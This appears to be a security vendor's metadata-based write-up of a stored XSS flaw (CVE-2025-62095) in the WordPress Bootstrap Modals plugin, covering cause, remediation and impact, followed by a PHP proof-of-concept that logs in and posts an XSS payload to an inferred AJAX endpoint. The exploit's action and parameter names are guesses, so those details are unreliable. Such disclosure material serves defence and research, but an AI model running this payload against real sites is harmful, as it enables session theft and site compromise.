Atomic Edge analysis of CVE-2025-62095 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the WordPress Bootstrap Modals plugin, affecting versions up to and including 1.3.2. The vulnerability allows users with contributor-level permissions or higher to inject malicious scripts into web pages. These scripts execute when other users view the compromised pages. The CVSS score of 6.4 (Medium severity) reflects the attack’s network accessibility, low complexity, and requirement for low-level authentication, with scope change and impacts on confidentiality and integrity.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping, as indicated by the CWE-79 classification and the vulnerability description. The plugin likely fails to properly sanitize user-supplied input before storing it in the database and fails to escape this data when outputting it in the page context. This is a common pattern in WordPress plugins where custom post meta fields, shortcode attributes, or modal content fields are processed without using functions like `sanitize_text_field` or `wp_kses`. Since no code diff is available, this conclusion is based on the CWE and the typical failure modes for WordPress plugin XSS.
Exploitation requires an authenticated attacker with at least contributor-level access. The attacker likely targets a backend administrative interface or a frontend form where the plugin accepts input for modal content, titles, or configuration. A plausible attack vector is the plugin’s modal creation or editing interface, accessible via an AJAX action (e.g., `bootstrap_modals_save`) or a WordPress admin post handler. The attacker would submit a crafted payload such as `
` within a vulnerable parameter. This payload would be stored and later rendered unsanitized when the modal is displayed to other users.
Effective remediation requires implementing proper input validation and output escaping. The plugin developers should sanitize all user input on the server-side using WordPress core functions like `sanitize_text_field`, `wp_kses_post`, or `sanitize_textarea_field` depending on the expected content. Additionally, any data output must be escaped for the appropriate context using functions like `esc_html`, `esc_attr`, or `wp_kses`. A security nonce should also be verified for all state-changing actions to prevent CSRF attacks, though the description does not mention CSRF.
Successful exploitation leads to stored XSS attacks. An attacker can steal session cookies, perform actions on behalf of authenticated users, deface websites, or redirect users to malicious sites. Since the vulnerability requires contributor-level access, the primary risk is from compromised user accounts or insider threats. The impact is limited to the confidentiality and integrity of user sessions and site content, not availability. The scope change (S:C) in the CVSS vector indicates the vulnerability can affect components beyond the plugin’s own security scope, potentially impacting the entire WordPress site session.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-62095 - Bootstrap Modals <= 1.3.2 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2025-62095.
* This script simulates an authenticated attacker with contributor privileges
* injecting a stored XSS payload into the Bootstrap Modals plugin.
* ASSUMPTIONS (based on metadata):
* 1. The plugin uses a WordPress AJAX handler for saving modal data.
* 2. The vulnerable parameter is named 'modal_content' or similar.
* 3. The AJAX action is derived from the plugin slug, e.g., 'bootstrap_modals_save'.
* 4. The attack requires a valid WordPress authentication cookie.
*/
$target_url = 'https://vulnerable-wordpress-site.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_password'; // CHANGE THIS
// Step 1: Authenticate to obtain session cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save cookies to file
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // For testing only
$response = curl_exec($ch);
// Step 2: Craft the XSS payload to inject into modal content
// This payload will execute when a user views the page containing the modal.
$xss_payload = '<img src=x onerror=alert("XSS via CVE-2025-62095")>';
// Step 3: Exploit the vulnerable AJAX endpoint
// The exact action name is inferred from common WordPress plugin patterns.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
'action' => 'bootstrap_modals_save', // Inferred AJAX action
'modal_content' => $xss_payload, // Injected into vulnerable parameter
// Other likely required parameters based on plugin functionality
'modal_id' => '1',
'modal_title' => 'Test Modal',
'nonce' => '' // Nonce may be required; absence could be part of the vulnerability.
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$ajax_response = curl_exec($ch);
// Step 4: Check for success
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
echo "[+] Exploit request sent. Check if payload was stored by visiting pages with the modal.n";
echo "[+] AJAX Response: " . htmlspecialchars($ajax_response) . "n";
} else {
echo "[-] Request failed with HTTP code: " . curl_getinfo($ch, CURLINFO_HTTP_CODE) . "n";
}
curl_close($ch);
?>
